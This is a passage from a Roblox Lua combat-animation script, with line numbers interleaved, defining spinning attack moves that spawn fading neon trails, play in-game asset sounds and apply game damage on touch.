local Old = Handle2.CFrame.p
3916
while wait()do
3917
if not TrailDeb then break end
3918
local New = Handle2.CFrame.p
3919
local Mag =(Old -New).magnitude
3920
local Dis =(Old +New)/2
3921
local Trail = Instance.new("Part",Character)
3922
Trail.Material = "Neon"
3923
Trail.Anchored = true
3924
Trail.CanCollide = false
3925
Trail.BrickColor = TorsoColor
3926
Trail.Size = Vector3.new(0.2,Mag,0.2)
3927
Trail.TopSurface = 0
3928
Trail.BottomSurface = 0
3929
Trail.formFactor = "Custom"
3930
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3931
local ms = Instance.new("BlockMesh",Trail)
3932
ms.Scale = Vector3.new(1,1,1)
3933
local TM = Instance.new("CylinderMesh",Trail)
3934
TM.Scale = Vector3.new(1,1,1)
3935
Old = New
3936
coroutine.wrap(function()
3937
for i = 1,0,-0.1 do
3938
wait()
3939
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3940
end
3941
Trail:remove()
3942
end)()
3943
coroutine.wrap(function()
3944
for i = 1,10 do
3945
wait()
3946
Trail.Transparency = Trail.Transparency +0.1
3947
end end)()end end)()
3948
coroutine.wrap(function()
3949
local Old = Handle.CFrame.p
3950
while wait()do
3951
if not TrailDeb then break end
3952
local New = Handle.CFrame.p
3953
local Mag =(Old -New).magnitude
3954
local Dis =(Old +New)/2
3955
local Trail = Instance.new("Part",Character)
3956
Trail.Material = "Neon"
3957
Trail.Anchored = true
3958
Trail.CanCollide = false
3959
Trail.BrickColor = TorsoColor
3960
Trail.Size = Vector3.new(0.2,Mag,0.2)
3961
Trail.TopSurface = 0
3962
Trail.BottomSurface = 0
3963
Trail.formFactor = "Custom"
3964
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3965
local ms = Instance.new("BlockMesh",Trail)
3966
ms.Scale = Vector3.new(1,1,1)
3967
local TM = Instance.new("CylinderMesh",Trail)
3968
TM.Scale = Vector3.new(1,1,1)
3969
Old = New
3970
coroutine.wrap(function()
3971
for i = 1,0,-0.1 do
3972
wait()
3973
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3974
end
3975
Trail:remove()
3976
end)()
3977
coroutine.wrap(function()
3978
for i = 1,10 do
3979
wait()
3980
Trail.Transparency = Trail.Transparency +0.1
3981
end end)()end end)()
3982
	Footsteps:Stop()
3983
	Footsteps2:Stop()
3984
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
3985
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
3986
    so("http://www.roblox.com/asset/?id=159882497",Torso,1,1) 
3987
    for i=0,1,0.1 do
3988
        swait()
3989
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
3990
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3991
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3992
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3993
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
3994
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
3995
    end
3996
if anim then
3997
anim.Disabled=true
3998
end
3999
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) 
4000
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) 
4001
    for i=0,1,0.05 do
4002
        swait()
4003
        Torso.Velocity=RootPart.CFrame.lookVector*100
4004
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
4005
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4006
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4007
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4008
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4009
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4010
    end
4011
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) 
4012
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) 
4013
    for i=0,1,0.05 do
4014
        swait()
4015
        Torso.Velocity=RootPart.CFrame.lookVector*100
4016
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
4017
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4018
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4019
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4020
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4021
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4022
    end
4023
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) 
4024
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) 
4025
    for i=0,1,0.05 do
4026
        swait()
4027
        Torso.Velocity=RootPart.CFrame.lookVector*100
4028
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
4029
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4030
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4031
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4032
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4033
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4034
    end
4035
    --dmgstop()
4036
Humanoid.WalkSpeed=12
4037
    attack=false
4038
    con1:disconnect()
4039
    con2:disconnect()
4040
if anim then
4041
anim.Disabled=false
4042
end
4043
if TrailDeb == true then
4044
						TrailDeb = false
4045
end
4046
end
4047
4048
function Twirl()
4049
mana=mana-50
4050
    attack=true
4051
if TrailDeb == false then
4052
							TrailDeb = true
4053
						end
4054
						
4055
4056
coroutine.wrap(function()
4057
local Old = Handle2.CFrame.p
4058
while wait()do
4059
if not TrailDeb then break end
4060
local New = Handle2.CFrame.p
4061
local Mag =(Old -New).magnitude
4062
local Dis =(Old +New)/2
4063
local Trail = Instance.new("Part",Character)
4064
Trail.Material = "Neon"
4065
Trail.Anchored = true
4066
Trail.CanCollide = false
4067
Trail.BrickColor = TorsoColor
4068
Trail.Size = Vector3.new(0.2,Mag,0.2)
4069
Trail.TopSurface = 0
4070
Trail.BottomSurface = 0
4071
Trail.formFactor = "Custom"
4072
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4073
local ms = Instance.new("BlockMesh",Trail)
4074
ms.Scale = Vector3.new(1,1,1)
4075
local TM = Instance.new("CylinderMesh",Trail)
4076
TM.Scale = Vector3.new(1,1,1)
4077
Old = New
4078
coroutine.wrap(function()
4079
for i = 1,0,-0.1 do
4080
wait()
4081
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4082
end
4083
Trail:remove()
4084
end)()
4085
coroutine.wrap(function()
4086
for i = 1,10 do
4087
wait()
4088
Trail.Transparency = Trail.Transparency +0.1
4089
end end)()end end)()
4090
coroutine.wrap(function()
4091
local Old = Handle.CFrame.p
4092
while wait()do
4093
if not TrailDeb then break end
4094
local New = Handle.CFrame.p
4095
local Mag =(Old -New).magnitude
4096
local Dis =(Old +New)/2
4097
local Trail = Instance.new("Part",Character)
4098
Trail.Material = "Neon"
4099
Trail.Anchored = true
4100
Trail.CanCollide = false
4101
Trail.BrickColor = TorsoColor
4102
Trail.Size = Vector3.new(0.2,Mag,0.2)
4103
Trail.TopSurface = 0
4104
Trail.BottomSurface = 0
4105
Trail.formFactor = "Custom"
4106
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4107
local ms = Instance.new("BlockMesh",Trail)
4108
ms.Scale = Vector3.new(1,1,1)
4109
local TM = Instance.new("CylinderMesh",Trail)
4110
TM.Scale = Vector3.new(1,1,1)
4111
Old = New
4112
coroutine.wrap(function()
4113
for i = 1,0,-0.1 do
4114
wait()
4115
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4116
end
4117
Trail:remove()
4118
end)()
4119
coroutine.wrap(function()
4120
for i = 1,10 do
4121
wait()
4122
Trail.Transparency = Trail.Transparency +0.1
4123
end end)()end end)()
4124
	Footsteps:Stop()
4125
	Footsteps2:Stop()
4126
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
4127
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
4128
    so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
4129
    for i=0,1,0.1 do
4130
        swait()
4131
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4132
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4133
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4134
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
4135
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4136
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4137
    end
4138
if anim then
4139
anim.Disabled=true
4140
end
4141
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4142
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4143
    for i=0,1,0.05 do
4144
        swait()
4145
        Torso.Velocity=RootPart.CFrame.lookVector*80
4146
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4147
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4148
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4149
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4150
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4151
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4152
    end
4153
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4154
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4155
    for i=0,1,0.05 do
4156
        swait()
4157
        Torso.Velocity=RootPart.CFrame.lookVector*80
4158
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4159
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4160
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4161
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4162
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4163
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4164
    end
4165
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4166
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4167
    for i=0,1,0.05 do
4168
        swait()
4169
        Torso.Velocity=RootPart.CFrame.lookVector*80
4170
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4171
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4172
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4173
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4174
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4175
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4176
    end
4177
    so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) 
4178
    so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) 
4179
    for i=0,1,0.05 do
4180
        swait()
4181
        Torso.Velocity=RootPart.CFrame.lookVector*80
4182
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
4183
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4184
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4185
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4186
        RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4187
        LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4188
    end
4189
    --dmgstop()
4190
Humanoid.WalkSpeed=12
4191
    attack=false
4192
    con1:disconnect()
4193
    con2:disconnect()
4194
if anim then
4195
anim.Disabled=false
4196
end
4197
if TrailDeb == true then
4198
						TrailDeb = false
4199
end
4200
end
4201
4202
function Shred()
4203
    attack=true
4204
    mana=mana-100
4205
if TrailDeb == false then
4206
							TrailDeb = true
4207
						end
4208
						
4209
4210
coroutine.wrap(function()
4211
local Old = Handle2.CFrame.p
4212
while wait()do
4213
if not TrailDeb then break end
4214
local New = Handle2.CFrame.p
4215
local Mag =(Old -New).magnitude
4216
local Dis =(Old +New)/2
4217
local Trail = Instance.new("Part",Character)
4218
Trail.Material = "Neon"
4219
Trail.Anchored = true
4220
Trail.CanCollide = false
4221
Trail.BrickColor = TorsoColor
4222
Trail.Size = Vector3.new(0.2,Mag,0.2)
4223
Trail.TopSurface = 0
4224
Trail.BottomSurface = 0
4225
Trail.formFactor = "Custom"
4226
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4227
local ms = Instance.new("BlockMesh",Trail)
4228
ms.Scale = Vector3.new(1,1,1)
4229
local TM = Instance.new("CylinderMesh",Trail)
4230
TM.Scale = Vector3.new(1,1,1)
4231
Old = New
4232
coroutine.wrap(function()
4233
for i = 1,0,-0.1 do
4234
wait()
4235
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4236
end
4237
Trail:remove()
4238
end)()
4239
coroutine.wrap(function()
4240
for i = 1,10 do
4241
wait()
4242
Trail.Transparency = Trail.Transparency +0.1
4243
end end)()end end)()
4244
coroutine.wrap(function()
4245
local Old = Handle.CFrame.p
4246
while wait()do
4247
if not TrailDeb then break end
4248
local New = Handle.CFrame.p
4249
local Mag =(Old -New).magnitude
4250
local Dis =(Old +New)/2
4251
local Trail = Instance.new("Part",Character)
4252
Trail.Material = "Neon"
4253
Trail.Anchored = true
4254
Trail.CanCollide = false
4255
Trail.BrickColor = TorsoColor
4256
Trail.Size = Vector3.new(0.2,Mag,0.2)
4257
Trail.TopSurface = 0
4258
Trail.BottomSurface = 0
4259
Trail.formFactor = "Custom"
4260
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4261
local ms = Instance.new("BlockMesh",Trail)
4262
ms.Scale = Vector3.new(1,1,1)
4263
local TM = Instance.new("CylinderMesh",Trail)
4264
TM.Scale = Vector3.new(1,1,1)
4265
Old = New
4266
coroutine.wrap(function()
4267
for i = 1,0,-0.1 do
4268
wait()
4269
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4270
end
4271
Trail:remove()
4272
end)()
4273
coroutine.wrap(function()
4274
for i = 1,10 do
4275
wait()
4276
Trail.Transparency = Trail.Transparency +0.1
4277
end end)()end end)()
4278
	Footsteps:Stop()
4279
	Footsteps2:Stop()
4280
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) 
4281
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) 
4282
    so("http://www.roblox.com/asset/?id=159882578",Torso,1,1) 
4283
    for i=0,1,0.1 do
4284
        swait()
4285
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4286
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4287
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4288
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
4289
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4290
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4291
    end
4292
if anim then
4293
anim.Disabled=true
4294
end
4295
    for i=0,1,0.05 do
4296
        swait()
4297
        Torso.Velocity=RootPart.CFrame.lookVector*20
4298
        so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) 
4299
    	so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) 
4300
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
4301
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4302
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4303
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4304
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4305
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4306
    end
4307
    for i=0,1,0.05 do
4308
        swait()
4309
        Torso.Velocity=RootPart.CFrame.lookVector*40
4310
        so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) 
4311
    	so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) 
4312
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
4313
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4314
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4315
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4316
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4317
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4318
    end
4319
    for i=0,1,0.05 do
4320
        swait()
4321
        Torso.Velocity=RootPart.CFrame.lookVector*60
4322
        so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) 
4323
    	so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) 
4324
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
4325
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4326
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4327
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4328
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4329
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4330
    end
4331
    so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
4332
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4333
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4334
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4335
    so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
4336
    for i=0,1,0.05 do
4337
        swait()
4338
        Torso.Velocity=RootPart.CFrame.lookVector*80
4339
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
4340
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4341
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4342
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4343
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4344
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4345
    end
4346
    for i=0,1,0.005 do
4347
        swait()
4348
        Torso.Velocity=RootPart.CFrame.lookVector*100
4349
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
4350
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4351
        Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
4352
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) 
4353
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
4354
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
4355
    end
4356
    --dmgstop()
4357
Humanoid.WalkSpeed=12
4358
    attack=false
4359
    con1:disconnect()
4360
    con2:disconnect()
4361
if anim then
4362
anim.Disabled=false
4363
end
4364
if TrailDeb == true then
4365
						TrailDeb = false
4366
end
4367
end
4368
4369
function Push()
4370
    attack=true
4371
    mana=mana-20
4372
if TrailDeb == false then
4373
							TrailDeb = true
4374
						end
4375
						
4376
4377
coroutine.wrap(function()
4378
local Old = Handle2.CFrame.p
4379
while wait()do
4380
if not TrailDeb then break end
4381
local New = Handle2.CFrame.p
4382
local Mag =(Old -New).magnitude
4383
local Dis =(Old +New)/2
4384
local Trail = Instance.new("Part",Character)
4385
Trail.Material = "Neon"
4386
Trail.Anchored = true
4387
Trail.CanCollide = false
4388
Trail.BrickColor = TorsoColor
4389
Trail.Size = Vector3.new(0.2,Mag,0.2)
4390
Trail.TopSurface = 0
4391
Trail.BottomSurface = 0
4392
Trail.formFactor = "Custom"
4393
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4394
local ms = Instance.new("BlockMesh",Trail)
4395
ms.Scale = Vector3.new(1,1,1)
4396
local TM = Instance.new("CylinderMesh",Trail)
4397
TM.Scale = Vector3.new(1,1,1)
4398
Old = New
4399
coroutine.wrap(function()
4400
for i = 1,0,-0.1 do
4401
wait()
4402
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4403
end
4404
Trail:remove()
4405
end)()
4406
coroutine.wrap(function()
4407
for i = 1,10 do
4408
wait()
4409
Trail.Transparency = Trail.Transparency +0.1
4410
end end)()end end)()
4411
coroutine.wrap(function()
4412
local Old = Handle.CFrame.p
4413
while wait()do
4414
if not TrailDeb then break end
4415
local New = Handle.CFrame.p
4416
local Mag =(Old -New).magnitude
4417
local Dis =(Old +New)/2
4418
local Trail = Instance.new("Part",Character)
4419
Trail.Material = "Neon"
4420
Trail.Anchored = true
4421
Trail.CanCollide = false
4422
Trail.BrickColor = TorsoColor
4423
Trail.Size = Vector3.new(0.2,Mag,0.2)
4424
Trail.TopSurface = 0
4425
Trail.BottomSurface = 0
4426
Trail.formFactor = "Custom"
4427
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4428
local ms = Instance.new("BlockMesh",Trail)
4429
ms.Scale = Vector3.new(1,1,1)
4430
local TM = Instance.new("CylinderMesh",Trail)
4431
TM.Scale = Vector3.new(1,1,1)
4432
Old = New
4433
coroutine.wrap(function()
4434
for i = 1,0,-0.1 do
4435
wait()
4436
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4437
end
4438
Trail:remove()
4439
end)()
4440
coroutine.wrap(function()
4441
for i = 1,10 do
4442
wait()
4443
Trail.Transparency = Trail.Transparency +0.1
4444
end end)()end end)()
4445
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
4446
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) 
4447
    for i=0,1,0.1 do
4448
        swait()
4449
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4450
		Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4451
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4452
        Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)  
4453
        Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)  
4454
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
4455
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
4456
    end
4457
    so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) 
4458
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4459
    so("http://www.roblox.com/asset/?id=159882481",Torso,1,1) 
4460
    for i=0,1,0.1 do
4461
        swait()
4462
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4463
		Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4464
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4465
        Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)  
4466
        Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)  
4467
        RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
4468
        LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
4469
    end
4470
    --dmgstop()
4471
